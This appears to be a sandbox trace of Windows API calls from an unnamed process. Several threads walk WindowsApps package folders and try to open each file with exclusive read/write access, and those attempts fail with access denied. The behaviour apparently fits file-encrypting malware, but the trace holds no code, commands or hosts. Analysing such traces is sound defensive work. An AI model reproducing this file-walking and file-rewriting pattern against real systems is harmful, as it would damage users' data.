	[0091.794] FindNextFileW (in: hFindFile=0x477b4a8, lpFindFileData=0x502f968 | out: lpFindFileData=0x502f968*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7fac1569, ftCreationTime.dwHighDateTime=0x1d2a059, ftLastAccessTime.dwLowDateTime=0xab78fdf4, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x7fac1569, ftLastWriteTime.dwHighDateTime=0x1d2a059, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="PartnerJS", cAlternateFileName="PARTNE~1")) returned 1
	[0091.794] wcscmp (_String1="PartnerJS", _String2=".") returned 1
	[0091.794] wcscmp (_String1="PartnerJS", _String2="..") returned 1
	[0091.794] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xd6) returned 0x477eb90
	[0091.794] wcscpy (in: _Dest=0x477eb90, _Source="C:\\Program Files\\WindowsApps\\Microsoft.Getstarted_4.5.6.0_x64__8wekyb3d8bbwe\\Resources\\TopicPage" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.Getstarted_4.5.6.0_x64__8wekyb3d8bbwe\\Resources\\TopicPage") returned="C:\\Program Files\\WindowsApps\\Microsoft.Getstarted_4.5.6.0_x64__8wekyb3d8bbwe\\Resources\\TopicPage"
	[0091.794] wcscat (in: _Dest=0x477eb90, _Source="\\" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.Getstarted_4.5.6.0_x64__8wekyb3d8bbwe\\Resources\\TopicPage\\") returned="C:\\Program Files\\WindowsApps\\Microsoft.Getstarted_4.5.6.0_x64__8wekyb3d8bbwe\\Resources\\TopicPage\\"
	[0091.794] wcscat (in: _Dest=0x477eb90, _Source="PartnerJS" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.Getstarted_4.5.6.0_x64__8wekyb3d8bbwe\\Resources\\TopicPage\\PartnerJS") returned="C:\\Program Files\\WindowsApps\\Microsoft.Getstarted_4.5.6.0_x64__8wekyb3d8bbwe\\Resources\\TopicPage\\PartnerJS"
	[0091.794] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xda) returned 0x4e32998
	[0091.794] wcscpy (in: _Dest=0x4e32998, _Source="C:\\Program Files\\WindowsApps\\Microsoft.Getstarted_4.5.6.0_x64__8wekyb3d8bbwe\\Resources\\TopicPage\\PartnerJS" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.Getstarted_4.5.6.0_x64__8wekyb3d8bbwe\\Resources\\TopicPage\\PartnerJS") returned="C:\\Program Files\\WindowsApps\\Microsoft.Getstarted_4.5.6.0_x64__8wekyb3d8bbwe\\Resources\\TopicPage\\PartnerJS"
	[0091.794] wcscat (in: _Dest=0x4e32998, _Source="\\" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.Getstarted_4.5.6.0_x64__8wekyb3d8bbwe\\Resources\\TopicPage\\PartnerJS\\") returned="C:\\Program Files\\WindowsApps\\Microsoft.Getstarted_4.5.6.0_x64__8wekyb3d8bbwe\\Resources\\TopicPage\\PartnerJS\\"
	[0091.794] wcscat (in: _Dest=0x4e32998, _Source="*" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.Getstarted_4.5.6.0_x64__8wekyb3d8bbwe\\Resources\\TopicPage\\PartnerJS\\*") returned="C:\\Program Files\\WindowsApps\\Microsoft.Getstarted_4.5.6.0_x64__8wekyb3d8bbwe\\Resources\\TopicPage\\PartnerJS\\*"
	[0091.794] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x250) returned 0x502f498
	[0091.794] FindFirstFileW (in: lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.Getstarted_4.5.6.0_x64__8wekyb3d8bbwe\\Resources\\TopicPage\\PartnerJS\\*", lpFindFileData=0x502f498 | out: lpFindFileData=0x502f498*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7fac1569, ftCreationTime.dwHighDateTime=0x1d2a059, ftLastAccessTime.dwLowDateTime=0xab78fdf4, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x7fac1569, ftLastWriteTime.dwHighDateTime=0x1d2a059, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x477b268
	[0091.794] wcscmp (_String1=".", _String2=".") returned 0
	[0091.794] FindNextFileW (in: hFindFile=0x477b268, lpFindFileData=0x502f498 | out: lpFindFileData=0x502f498*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7fac1569, ftCreationTime.dwHighDateTime=0x1d2a059, ftLastAccessTime.dwLowDateTime=0xab78fdf4, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x7fac1569, ftLastWriteTime.dwHighDateTime=0x1d2a059, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0091.794] wcscmp (_String1="..", _String2=".") returned 1
	[0091.794] wcscmp (_String1="..", _String2="..") returned 0
	[0091.794] FindNextFileW (in: hFindFile=0x477b268, lpFindFileData=0x502f498 | out: lpFindFileData=0x502f498*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7fac1569, ftCreationTime.dwHighDateTime=0x1d2a059, ftLastAccessTime.dwLowDateTime=0x7fac1569, ftLastAccessTime.dwHighDateTime=0x1d2a059, ftLastWriteTime.dwLowDateTime=0x7fac1569, ftLastWriteTime.dwHighDateTime=0x1d2a059, nFileSizeHigh=0x0, nFileSizeLow=0x4518, dwReserved0=0x0, dwReserved1=0x0, cFileName="retailDemo.js", cAlternateFileName="")) returned 1
	[0091.795] wcscmp (_String1="retailDemo.js", _String2=".") returned 1
	[0091.795] wcscmp (_String1="retailDemo.js", _String2="..") returned 1
	[0091.795] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xf2) returned 0x4778260
	[0091.795] wcscpy (in: _Dest=0x4778260, _Source="C:\\Program Files\\WindowsApps\\Microsoft.Getstarted_4.5.6.0_x64__8wekyb3d8bbwe\\Resources\\TopicPage\\PartnerJS" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.Getstarted_4.5.6.0_x64__8wekyb3d8bbwe\\Resources\\TopicPage\\PartnerJS") returned="C:\\Program Files\\WindowsApps\\Microsoft.Getstarted_4.5.6.0_x64__8wekyb3d8bbwe\\Resources\\TopicPage\\PartnerJS"
	[0091.795] wcscat (in: _Dest=0x4778260, _Source="\\" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.Getstarted_4.5.6.0_x64__8wekyb3d8bbwe\\Resources\\TopicPage\\PartnerJS\\") returned="C:\\Program Files\\WindowsApps\\Microsoft.Getstarted_4.5.6.0_x64__8wekyb3d8bbwe\\Resources\\TopicPage\\PartnerJS\\"
	[0091.795] wcscat (in: _Dest=0x4778260, _Source="retailDemo.js" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.Getstarted_4.5.6.0_x64__8wekyb3d8bbwe\\Resources\\TopicPage\\PartnerJS\\retailDemo.js") returned="C:\\Program Files\\WindowsApps\\Microsoft.Getstarted_4.5.6.0_x64__8wekyb3d8bbwe\\Resources\\TopicPage\\PartnerJS\\retailDemo.js"
	[0091.795] GetFileAttributesW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.Getstarted_4.5.6.0_x64__8wekyb3d8bbwe\\Resources\\TopicPage\\PartnerJS\\retailDemo.js" (normalized: "c:\\program files\\windowsapps\\microsoft.getstarted_4.5.6.0_x64__8wekyb3d8bbwe\\resources\\topicpage\\partnerjs\\retaildemo.js")) returned 0x20
	[0091.797] SetFileAttributesW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.Getstarted_4.5.6.0_x64__8wekyb3d8bbwe\\Resources\\TopicPage\\PartnerJS\\retailDemo.js", dwFileAttributes=0x20) returned 0
	[0091.797] CreateFileW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.Getstarted_4.5.6.0_x64__8wekyb3d8bbwe\\Resources\\TopicPage\\PartnerJS\\retailDemo.js" (normalized: "c:\\program files\\windowsapps\\microsoft.getstarted_4.5.6.0_x64__8wekyb3d8bbwe\\resources\\topicpage\\partnerjs\\retaildemo.js"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xffffffff
	[0091.797] GetLastError () returned 0x5
	[0091.797] SetFileAttributesW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.Getstarted_4.5.6.0_x64__8wekyb3d8bbwe\\Resources\\TopicPage\\PartnerJS\\retailDemo.js", dwFileAttributes=0x20) returned 0
	[0091.797] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4778260) returned 1
	[0091.797] FindNextFileW (in: hFindFile=0x477b268, lpFindFileData=0x502f498 | out: lpFindFileData=0x502f498*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7fac1569, ftCreationTime.dwHighDateTime=0x1d2a059, ftLastAccessTime.dwLowDateTime=0x7fac1569, ftLastAccessTime.dwHighDateTime=0x1d2a059, ftLastWriteTime.dwLowDateTime=0x7fac1569, ftLastWriteTime.dwHighDateTime=0x1d2a059, nFileSizeHigh=0x0, nFileSizeLow=0x4518, dwReserved0=0x0, dwReserved1=0x0, cFileName="retailDemo.js", cAlternateFileName="")) returned 0
	[0091.798] FindClose (in: hFindFile=0x477b268 | out: hFindFile=0x477b268) returned 1
	[0091.798] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x502f498) returned 1
	[0091.798] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4e32998) returned 1
	[0091.798] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x477eb90) returned 1
	[0091.798] FindNextFileW (in: hFindFile=0x477b4a8, lpFindFileData=0x502f968 | out: lpFindFileData=0x502f968*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7fac1569, ftCreationTime.dwHighDateTime=0x1d2a059, ftLastAccessTime.dwLowDateTime=0xab78fdf4, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x7fac1569, ftLastWriteTime.dwHighDateTime=0x1d2a059, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="PartnerJS", cAlternateFileName="PARTNE~1")) returned 0
	[0091.798] FindClose (in: hFindFile=0x477b4a8 | out: hFindFile=0x477b4a8) returned 1
	[0091.798] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x502f968) returned 1
	[0091.798] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4718b70) returned 1
	[0091.799] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4718f80) returned 1
	[0091.799] FindNextFileW (in: hFindFile=0x2d880f8, lpFindFileData=0x4745a08 | out: lpFindFileData=0x4745a08*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7fa750b2, ftCreationTime.dwHighDateTime=0x1d2a059, ftLastAccessTime.dwLowDateTime=0xab78e843, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x7fac1569, ftLastWriteTime.dwHighDateTime=0x1d2a059, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="TopicPage", cAlternateFileName="TOPICP~1")) returned 0
	[0091.799] FindClose (in: hFindFile=0x2d880f8 | out: hFindFile=0x2d880f8) returned 1
	[0091.799] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4745a08) returned 1
	[0091.799] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x47c8320) returned 1
	[0091.799] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2ddbd20) returned 1

Thread:
	id = 540
	os_tid = 0x1798

	[0077.442] GetFileAttributesW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.Getstarted_4.5.6.0_x64__8wekyb3d8bbwe\\resources.pri" (normalized: "c:\\program files\\windowsapps\\microsoft.getstarted_4.5.6.0_x64__8wekyb3d8bbwe\\resources.pri")) returned 0x20
	[0081.823] SetFileAttributesW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.Getstarted_4.5.6.0_x64__8wekyb3d8bbwe\\resources.pri", dwFileAttributes=0x20) returned 0
	[0081.823] CreateFileW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.Getstarted_4.5.6.0_x64__8wekyb3d8bbwe\\resources.pri" (normalized: "c:\\program files\\windowsapps\\microsoft.getstarted_4.5.6.0_x64__8wekyb3d8bbwe\\resources.pri"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xffffffff
	[0081.823] GetLastError () returned 0x5
	[0081.823] SetFileAttributesW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.Getstarted_4.5.6.0_x64__8wekyb3d8bbwe\\resources.pri", dwFileAttributes=0x20) returned 0
	[0081.823] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x47c8f20) returned 1

Thread:
	id = 541
	os_tid = 0x179c

	[0077.442] GetFileAttributesW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.Getstarted_4.5.6.0_x64__8wekyb3d8bbwe\\StoreRatingPromotion.winmd" (normalized: "c:\\program files\\windowsapps\\microsoft.getstarted_4.5.6.0_x64__8wekyb3d8bbwe\\storeratingpromotion.winmd")) returned 0x20
	[0083.372] SetFileAttributesW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.Getstarted_4.5.6.0_x64__8wekyb3d8bbwe\\StoreRatingPromotion.winmd", dwFileAttributes=0x20) returned 0
	[0083.372] CreateFileW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.Getstarted_4.5.6.0_x64__8wekyb3d8bbwe\\StoreRatingPromotion.winmd" (normalized: "c:\\program files\\windowsapps\\microsoft.getstarted_4.5.6.0_x64__8wekyb3d8bbwe\\storeratingpromotion.winmd"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xffffffff
	[0083.372] GetLastError () returned 0x5
	[0083.372] SetFileAttributesW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.Getstarted_4.5.6.0_x64__8wekyb3d8bbwe\\StoreRatingPromotion.winmd", dwFileAttributes=0x20) returned 0
	[0083.372] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e11fc0) returned 1

Thread:
	id = 542
	os_tid = 0x17a0

	[0077.443] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xb4) returned 0x47c84a0
	[0077.443] wcscpy (in: _Dest=0x47c84a0, _Source="C:\\Program Files\\WindowsApps\\Microsoft.Getstarted_4.5.6.0_x64__8wekyb3d8bbwe\\_Resources" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.Getstarted_4.5.6.0_x64__8wekyb3d8bbwe\\_Resources") returned="C:\\Program Files\\WindowsApps\\Microsoft.Getstarted_4.5.6.0_x64__8wekyb3d8bbwe\\_Resources"
	[0077.443] wcscat (in: _Dest=0x47c84a0, _Source="\\" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.Getstarted_4.5.6.0_x64__8wekyb3d8bbwe\\_Resources\\") returned="C:\\Program Files\\WindowsApps\\Microsoft.Getstarted_4.5.6.0_x64__8wekyb3d8bbwe\\_Resources\\"
	[0077.443] wcscat (in: _Dest=0x47c84a0, _Source="*" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.Getstarted_4.5.6.0_x64__8wekyb3d8bbwe\\_Resources\\*") returned="C:\\Program Files\\WindowsApps\\Microsoft.Getstarted_4.5.6.0_x64__8wekyb3d8bbwe\\_Resources\\*"
	[0077.443] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x250) returned 0x4745c70
	[0077.443] FindFirstFileW (in: lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.Getstarted_4.5.6.0_x64__8wekyb3d8bbwe\\_Resources\\*", lpFindFileData=0x4745c70 | out: lpFindFileData=0x4745c70*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7f0140b4, ftCreationTime.dwHighDateTime=0x1d2a059, ftLastAccessTime.dwLowDateTime=0xab5ed36f, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x7f2aa2da, ftLastWriteTime.dwHighDateTime=0x1d2a059, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x2d88078
	[0081.822] wcscmp (_String1=".", _String2=".") returned 0
	[0081.822] FindNextFileW (in: hFindFile=0x2d88078, lpFindFileData=0x4745c70 | out: lpFindFileData=0x4745c70*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7f0140b4, ftCreationTime.dwHighDateTime=0x1d2a059, ftLastAccessTime.dwLowDateTime=0xab5ed36f, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x7f2aa2da, ftLastWriteTime.dwHighDateTime=0x1d2a059, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0081.822] wcscmp (_String1="..", _String2=".") returned 1
	[0081.822] wcscmp (_String1="..", _String2="..") returned 0
	[0081.822] FindNextFileW (in: hFindFile=0x2d88078, lpFindFileData=0x4745c70 | out: lpFindFileData=0x4745c70*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7f0140b4, ftCreationTime.dwHighDateTime=0x1d2a059, ftLastAccessTime.dwLowDateTime=0x7f11f133, ftLastAccessTime.dwHighDateTime=0x1d2a059, ftLastWriteTime.dwLowDateTime=0x7f11f133, ftLastWriteTime.dwHighDateTime=0x1d2a059, nFileSizeHigh=0x0, nFileSizeLow=0x2985, dwReserved0=0x0, dwReserved1=0x0, cFileName="0.rsrc", cAlternateFileName="")) returned 1
	[0081.822] wcscmp (_String1="0.rsrc", _String2=".") returned 1
	[0081.822] wcscmp (_String1="0.rsrc", _String2="..") returned 1
	[0081.822] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xbe) returned 0x47cb5a8
	[0081.822] wcscpy (in: _Dest=0x47cb5a8, _Source="C:\\Program Files\\WindowsApps\\Microsoft.Getstarted_4.5.6.0_x64__8wekyb3d8bbwe\\_Resources" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.Getstarted_4.5.6.0_x64__8wekyb3d8bbwe\\_Resources") returned="C:\\Program Files\\WindowsApps\\Microsoft.Getstarted_4.5.6.0_x64__8wekyb3d8bbwe\\_Resources"
	[0081.822] wcscat (in: _Dest=0x47cb5a8, _Source="\\" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.Getstarted_4.5.6.0_x64__8wekyb3d8bbwe\\_Resources\\") returned="C:\\Program Files\\WindowsApps\\Microsoft.Getstarted_4.5.6.0_x64__8wekyb3d8bbwe\\_Resources\\"
	[0081.822] wcscat (in: _Dest=0x47cb5a8, _Source="0.rsrc" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.Getstarted_4.5.6.0_x64__8wekyb3d8bbwe\\_Resources\\0.rsrc") returned="C:\\Program Files\\WindowsApps\\Microsoft.Getstarted_4.5.6.0_x64__8wekyb3d8bbwe\\_Resources\\0.rsrc"
	[0091.851] GetFileAttributesW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.Getstarted_4.5.6.0_x64__8wekyb3d8bbwe\\_Resources\\0.rsrc" (normalized: "c:\\program files\\windowsapps\\microsoft.getstarted_4.5.6.0_x64__8wekyb3d8bbwe\\_resources\\0.rsrc")) returned 0x20
	[0091.854] SetFileAttributesW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.Getstarted_4.5.6.0_x64__8wekyb3d8bbwe\\_Resources\\0.rsrc", dwFileAttributes=0x20) returned 0
	[0091.854] CreateFileW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.Getstarted_4.5.6.0_x64__8wekyb3d8bbwe\\_Resources\\0.rsrc" (normalized: "c:\\program files\\windowsapps\\microsoft.getstarted_4.5.6.0_x64__8wekyb3d8bbwe\\_resources\\0.rsrc"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xffffffff
	[0091.854] GetLastError () returned 0x5
	[0091.854] SetFileAttributesW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.Getstarted_4.5.6.0_x64__8wekyb3d8bbwe\\_Resources\\0.rsrc", dwFileAttributes=0x20) returned 0
	[0091.855] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x47cb5a8) returned 1
	[0091.855] FindNextFileW (in: hFindFile=0x2d88078, lpFindFileData=0x4745c70 | out: lpFindFileData=0x4745c70*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7f2aa2da, ftCreationTime.dwHighDateTime=0x1d2a059, ftLastAccessTime.dwLowDateTime=0x7f2aa2da, ftLastAccessTime.dwHighDateTime=0x1d2a059, ftLastWriteTime.dwLowDateTime=0x7f2aa2da, ftLastWriteTime.dwHighDateTime=0x1d2a059, nFileSizeHigh=0x0, nFileSizeLow=0xa3, dwReserved0=0x0, dwReserved1=0x0, cFileName="index.txt", cAlternateFileName="")) returned 1
	[0091.855] wcscmp (_String1="index.txt", _String2=".") returned 1
	[0091.855] wcscmp (_String1="index.txt", _String2="..") returned 1
	[0091.855] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xc4) returned 0x4718f80
	[0091.855] wcscpy (in: _Dest=0x4718f80, _Source="C:\\Program Files\\WindowsApps\\Microsoft.Getstarted_4.5.6.0_x64__8wekyb3d8bbwe\\_Resources" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.Getstarted_4.5.6.0_x64__8wekyb3d8bbwe\\_Resources") returned="C:\\Program Files\\WindowsApps\\Microsoft.Getstarted_4.5.6.0_x64__8wekyb3d8bbwe\\_Resources"
	[0091.855] wcscat (in: _Dest=0x4718f80, _Source="\\" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.Getstarted_4.5.6.0_x64__8wekyb3d8bbwe\\_Resources\\") returned="C:\\Program Files\\WindowsApps\\Microsoft.Getstarted_4.5.6.0_x64__8wekyb3d8bbwe\\_Resources\\"
	[0091.855] wcscat (in: _Dest=0x4718f80, _Source="index.txt" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.Getstarted_4.5.6.0_x64__8wekyb3d8bbwe\\_Resources\\index.txt") returned="C:\\Program Files\\WindowsApps\\Microsoft.Getstarted_4.5.6.0_x64__8wekyb3d8bbwe\\_Resources\\index.txt"
	[0091.855] GetFileAttributesW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.Getstarted_4.5.6.0_x64__8wekyb3d8bbwe\\_Resources\\index.txt" (normalized: "c:\\program files\\windowsapps\\microsoft.getstarted_4.5.6.0_x64__8wekyb3d8bbwe\\_resources\\index.txt")) returned 0x20
	[0091.859] SetFileAttributesW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.Getstarted_4.5.6.0_x64__8wekyb3d8bbwe\\_Resources\\index.txt", dwFileAttributes=0x20) returned 0
	[0091.859] CreateFileW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.Getstarted_4.5.6.0_x64__8wekyb3d8bbwe\\_Resources\\index.txt" (normalized: "c:\\program files\\windowsapps\\microsoft.getstarted_4.5.6.0_x64__8wekyb3d8bbwe\\_resources\\index.txt"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xffffffff
	[0091.859] GetLastError () returned 0x5
	[0091.859] SetFileAttributesW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.Getstarted_4.5.6.0_x64__8wekyb3d8bbwe\\_Resources\\index.txt", dwFileAttributes=0x20) returned 0
	[0091.859] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4718f80) returned 1
	[0091.859] FindNextFileW (in: hFindFile=0x2d88078, lpFindFileData=0x4745c70 | out: lpFindFileData=0x4745c70*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7f2aa2da, ftCreationTime.dwHighDateTime=0x1d2a059, ftLastAccessTime.dwLowDateTime=0x7f2aa2da, ftLastAccessTime.dwHighDateTime=0x1d2a059, ftLastWriteTime.dwLowDateTime=0x7f2aa2da, ftLastWriteTime.dwHighDateTime=0x1d2a059, nFileSizeHigh=0x0, nFileSizeLow=0xa3, dwReserved0=0x0, dwReserved1=0x0, cFileName="index.txt", cAlternateFileName="")) returned 0
	[0091.859] FindClose (in: hFindFile=0x2d88078 | out: hFindFile=0x2d88078) returned 1
	[0091.860] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4745c70) returned 1
	[0091.860] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x47c84a0) returned 1
	[0091.860] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2ddbc68) returned 1

Thread:
	id = 543
	os_tid = 0x17a4

	[0077.444] GetFileAttributesW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.DesktopAppInstaller_1.0.10252.0_neutral_split.scale-100_8wekyb3d8bbwe\\AppxBlockMap.xml" (normalized: "c:\\program files\\windowsapps\\microsoft.desktopappinstaller_1.0.10252.0_neutral_split.scale-100_8wekyb3d8bbwe\\appxblockmap.xml")) returned 0x20
	[0081.858] SetFileAttributesW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.DesktopAppInstaller_1.0.10252.0_neutral_split.scale-100_8wekyb3d8bbwe\\AppxBlockMap.xml", dwFileAttributes=0x20) returned 0
	[0081.859] CreateFileW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.DesktopAppInstaller_1.0.10252.0_neutral_split.scale-100_8wekyb3d8bbwe\\AppxBlockMap.xml" (normalized: "c:\\program files\\windowsapps\\microsoft.desktopappinstaller_1.0.10252.0_neutral_split.scale-100_8wekyb3d8bbwe\\appxblockmap.xml"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xffffffff
	[0085.241] GetLastError () returned 0x5
	[0085.241] SetFileAttributesW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.DesktopAppInstaller_1.0.10252.0_neutral_split.scale-100_8wekyb3d8bbwe\\AppxBlockMap.xml", dwFileAttributes=0x20) returned 0
	[0085.241] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2d89010) returned 1

Thread:
	id = 544
	os_tid = 0x17a8

	[0077.445] GetFileAttributesW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.DesktopAppInstaller_1.0.10252.0_neutral_split.scale-100_8wekyb3d8bbwe\\AppxManifest.xml" (normalized: "c:\\program files\\windowsapps\\microsoft.desktopappinstaller_1.0.10252.0_neutral_split.scale-100_8wekyb3d8bbwe\\appxmanifest.xml")) returned 0x20
	[0081.854] SetFileAttributesW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.DesktopAppInstaller_1.0.10252.0_neutral_split.scale-100_8wekyb3d8bbwe\\AppxManifest.xml", dwFileAttributes=0x20) returned 0
	[0081.855] CreateFileW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.DesktopAppInstaller_1.0.10252.0_neutral_split.scale-100_8wekyb3d8bbwe\\AppxManifest.xml" (normalized: "c:\\program files\\windowsapps\\microsoft.desktopappinstaller_1.0.10252.0_neutral_split.scale-100_8wekyb3d8bbwe\\appxmanifest.xml"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xffffffff
	[0081.855] GetLastError () returned 0x5
	[0081.855] SetFileAttributesW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.DesktopAppInstaller_1.0.10252.0_neutral_split.scale-100_8wekyb3d8bbwe\\AppxManifest.xml", dwFileAttributes=0x20) returned 0
	[0081.855] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e34e60) returned 1

Thread:
	id = 545
	os_tid = 0x17ac

	[0077.445] GetFileAttributesW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.DesktopAppInstaller_1.0.10252.0_neutral_split.scale-100_8wekyb3d8bbwe\\AppxSignature.p7x" (normalized: "c:\\program files\\windowsapps\\microsoft.desktopappinstaller_1.0.10252.0_neutral_split.scale-100_8wekyb3d8bbwe\\appxsignature.p7x")) returned 0x20
